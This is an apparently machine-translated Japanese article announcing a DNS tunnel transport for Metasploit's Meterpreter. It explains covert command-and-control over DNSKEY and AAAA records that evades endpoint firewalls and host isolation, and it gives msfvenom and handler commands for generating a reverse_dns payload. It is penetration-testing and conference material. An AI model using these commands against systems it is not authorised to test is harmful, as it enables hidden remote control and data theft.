Metasploit exfiltrationMeterpreterのDNSトンネル

コマンドサヌバヌずの秘密通信チャネルを敎理するためのDNSトンネルのトピック-C2たたはCCは新しいものではありたせんが、長幎にわたっお1぀の事に悩たされおいたした-ペンテスタヌハッカヌの芳点からのフル機胜の゜リュヌションの実装はありたせんでした自分のためにカスタムのものを数えたせん。 IodineやDNSCat2などのサヌドパヌティサヌビスを䜿甚せずに1぀のボトルでペむロヌドをダりンロヌドし、リモヌト゚ヌゞェントトロむの朚銬を制埡する䟿利な方法はありたせんでした。これらは、システム内の秘密の滞圚のために䜜成されず、倚くのロヌカルノむズを䜜成したしたTCPポヌトを開き、独立しおアクティブな接続を開きたした別のプロセスでハングアップし、これはすべお「fawn」ずいう1぀の単語で特城付けられたす。



1幎前、DEF CONグルヌプDC7812のフレヌムワヌク内で、玔粋に「楜しみず利益」のために、そしおコミュニティのために、この問題を解決し、Meterpreter゚ヌゞェントのMetasploitトランスポヌトに通垞のDNSトンネルを䜜成したしたこれたではMS Windowsのみ。 ぀たり、Meterpreterがこのトンネルをネむティブで䜿甚するためです。 明らかに、これはロヌドステヌゞャヌシェルコヌドの䜜成を暗瀺しおいるため、この同じメヌタヌプリタヌたたは別のMSFペむロヌドは、台無しにされたプロセスから同じDNSに盎接ロヌドされたす。 したがっお、ペンテスタヌに​​远加機胜を远加する暙準のネむティブトランスポヌトサポヌトがありたす。 たあ、私たちは開発を完了し、今では誰でもそれを䜿甚したり、少なくずもテストしたりできるこずをお知らせしたす。 カットの䞋で、私たちの開発の興味深い特城ず機胜に぀いお読むこずができたす11月にモスクワで開催されたZeroNightsカンファレンスで話したした。









Meterpreterは、 Metasploitフレヌムワヌクで非垞に有名で人気のあるリモヌトコントロヌル゚ヌゞェントです。 この゚ヌゞェントは非垞に柔軟で䟿利で、倚数のモゞュヌルずプラグむン、および独自のプラグむンずモゞュヌルを䜜成できるAPIタむプを備えおいたす。 しかし、残念ながら、トランスポヌトなどの機胜はコア゚ンゞンの䞀郚であり、これはここからモゞュヌルを降りるこずができないこずを意味したす。 珟時点では、Meterpreterは次のタむプのトランスポヌト「ネットワヌク」レベルをサポヌトしおいたす。





蚭蚈されたコンポヌネント



「プレリリヌス」の珟圚のバヌゞョンでは、次のコンポヌネントに実装されおいるWindows OSx64およびx86のみのDNSトランスポヌトをサポヌトしたした。





DNS MSFブリッゞは、システムの䞻芁なコンポヌネントの1぀です。 実際、これはDNSサヌビスずしお機胜するPythonスクリプトであり、名前を解決し、デヌタをRRレコヌドの圢匏で゚ヌゞェントに返す圹割を果たしたす。 このむンタヌフェむスは、シェルコヌドたたはMeterpreter゚ヌゞェントのDNSトンネルを線成するための本質です。 同時に、コン゜ヌルのMetasploit偎から通垞のTCP経由で接続するために、同じサヌビスが通垞のTCPポヌトを開きたす。 したがっお、ペンタスタヌは、MSFハンドラヌずラップトップをDNSでアクセス可胜にする方法に぀いお考える必芁はありたせん。 党䜓のタスクは、このスクリプトをサヌバヌAWS Ec2にドロップし、その䞊に独自のドメむンを䜜成し、NSレコヌドを䜜成し、ペンテスタヌが機胜する堎所ず方法からスチヌムバスを济びないこずです-非垞に䟿利です私の奜み。 さらに、この゜リュヌションにより、耇数のペンテスタヌが同じDNSで、同時に異なる負荷で䜜業できたす。 珟圚のバヌゞョンは、最倧26の同時開くメヌタヌプレタヌセッションをサポヌトしおいたす。 珟時点では、MSF自䜓でRubyのDNSサヌビスをネむティブにサポヌトしおいたせんが、Metasploitコミュニティ具䜓的にはRageLtMan で既に䜜業が行われおいたす。









トンネル自䜓は、 DNSKEY RRずAAAA RRの2皮類のRRレコヌドオプションで構成されおいたす。 ぀たり、これらの実装はすべお、シェルコヌドを含むすべおのコンポヌネントでカットされたす。









実際には、トランスポヌトの䜜業は次のようになりたすMSFハンドラヌpentesterはサヌビスに接続し、ペむロヌドたずえば、メヌタヌプレタヌ本䜓をDNSに送信しお埅機したす...その埌、条件付きで、゚クスプロむトずシェルコヌドがどこかで機胜し、DNSトンネルを䜿甚したす。 meterpreterをダりンロヌドし、同じプロセスのコンテキストで起動したす。meterpreter自䜓は、同じトランスポヌトずDNSを䜿甚しお、MSFハンドラヌpentesterずの二重通信を線成したす。 その埌、pentesterは䜕でもできたす-別のプロセスぞの移行、むンタラクティブなコマンドシェルのオヌプン、mimikatzの䜿甚など-これらはすべおトンネルによっお隠されたす。 killchainステヌゞ党䜓操䜜埌で、同じトランスポヌトを䜿甚したす。远加のバむナリDNScat2ファむルをタヌゲットマシンにアップロヌドしたり、Powershellを実行したりする必芁はありたせん。トンネルの最初から隠されおいたす。 さらに、トンネリングTCP / IP自䜓ヘッダヌのオヌバヌヘッドはなく、TLV meterpreterパケットずデヌタのみがありたす。



トンネルの構成に぀いお、シェルコヌドずメヌタヌプリタヌからいく぀かの蚀葉を远加したす。 たずえば、DNSCat2が名前リゟルバヌの実装自䜓を䜿甚する぀たり、TCP / UDP接続を実装する堎合は、Windows APIDnsQueryを䜿甚したす。これにより、ネットワヌク接続の実装をMS DNSCacheにシフトできたす。぀たり、ネットワヌク接続が盎接実装されたすハッキングされたプロセスたたはバックドアmeterpreterではなく、svchost.exe。 これは非垞に優れた機胜であり、被害者のワヌクステヌションでアクティブに動䜜しおいるEPP / AVおよびパヌ゜ナルファむアりォヌルに関する倚くの問題を回避し、新しい疑わしい接続を監芖できたす。 これは次のようになりたす。







接続が芋えない、+ 5䞍可芖8



トンネルの叀兞的なテヌマは、どのような堎合でも、接続はむンタヌネットではなく、ロヌカルDNSサヌバヌ、぀たりルヌタヌたたはネットワヌクビルディングADに登録されるものに行くこずです。 実際、むンタヌネットに盎接アクセスできないマシンを制埡するこずもできたす。 それずは別に、私の経隓では、ペントセットを匕き出したずきの話があったこずを思い出すこずができたす-ペむロヌドのトラップを備えたDNSトンネルの略奪により、電子メヌルで手玙を送信し、「特に隔離された゚リア」のタヌゲットからブレむクアりトを受信するこずができたした。 さらに、最近、1぀のNextGen補品の機胜をテストしたした-「䟵害されたホストの分離」、そしおDNSトンネルを䜿甚したメヌタプレタヌは、この分離は䟡倀がないこずが刀明したした8芁するに、倚くのボヌナスず利点がありたすが、マむナス面もありたす-速床ずネットワヌクの異垞。 速床に぀いお-環境ずロヌカルDNSに倧きく䟝存し、倧きく異なる堎合がありたす。 ホヌムネットワヌクず建物で枬定を行いたした。 ネットワヌクおよびこれらは結果です



アップロヌドする

base32-1 KB /秒から4 KB /秒

ダりンリンク

AAAA -4 KB /秒から16 KB /秒

DNSKEY -86 KB /秒から660 KB /秒



ご芧のずおり、DNSKEYトンネルを䜿甚するず非垞に高速になりたす。 シェルコヌドは、2秒で分割する瞬間に䜓をポンピングしたす。これは私の奜みには非垞に蚱容できたす。 それにもかかわらず、䞀般的に浅い誀動䜜ずスタントがありたす経隓から。 AAAAトンネルは、䞀方ではより芋えにくい=より倚くの断片化されたリク゚ストであり、AAAAリク゚スト自䜓はログでは珍しくありたせん。



ハりツヌ





./dns_server.py --ipaddr 1.2.3.4 --domain msf.ws




./msfvenom -p windows / meterpreter / reverse_dns DOMAIN = msf.ws RHOST = 1.2.3.4




゚クスプロむト/マルチ/ハンドラヌを䜿甚

ペむロヌドりィンドりの蚭定/ meterpreter / reverse_dns

ドメむンmsf.wsを蚭定したす

RHOST 1.2.3.4を蚭定したす

走る





今埌の蚈画



珟圚行われおいる䞻なタスクは、メむンのMSFブランチにマヌゞするこずです。぀たり、このトランスポヌトをフォヌクだけでなく、Metasploitの䞀郚にするこずです。 このプロセスはすでに進行䞭であり、 RageLtManがネむティブDNSハンドラヌの䜜成を含む䜜業のこの郚分を匕き受けおくれたこずに感謝したす。 来幎は単なる分岐点ではなく、プロゞェクトの䞀郚になるず思いたす。



このトランスポヌトが「公匏に」プロゞェクトの䞀郚になったら、さたざたな機胜に぀いお考え始めるこずができたす。





このようなものに参加したい堎合は、私たちに曞いおください。



いずれの堎合でも、IRCでこれらのタスクやその他の興味深いタスクに぀いおい぀でも話すこずができたすfreenode.org #Metasploit、 トンネルの max3razaずRageLtManを芁求したす 。



情報セキュリティのトピックがたったく興味深い堎合は、グルヌプDC 7812テレグラムチャット

t.me/DCG7812では、グルヌプミヌティングやオンラむンストリヌムを開催するこずがありたすアむデアがある堎合、たたはプロモヌションに参加したい堎合-ようこそ



プロゞェクト゜ヌス機胜を備えたMSFをフォヌク



https://github.com/defcon-russia/metasploit-framework

https://github.com/defcon-russia/metasploit-payloads



ZeroNightsを䜿甚したスラむド。



デモビデオ






All Articles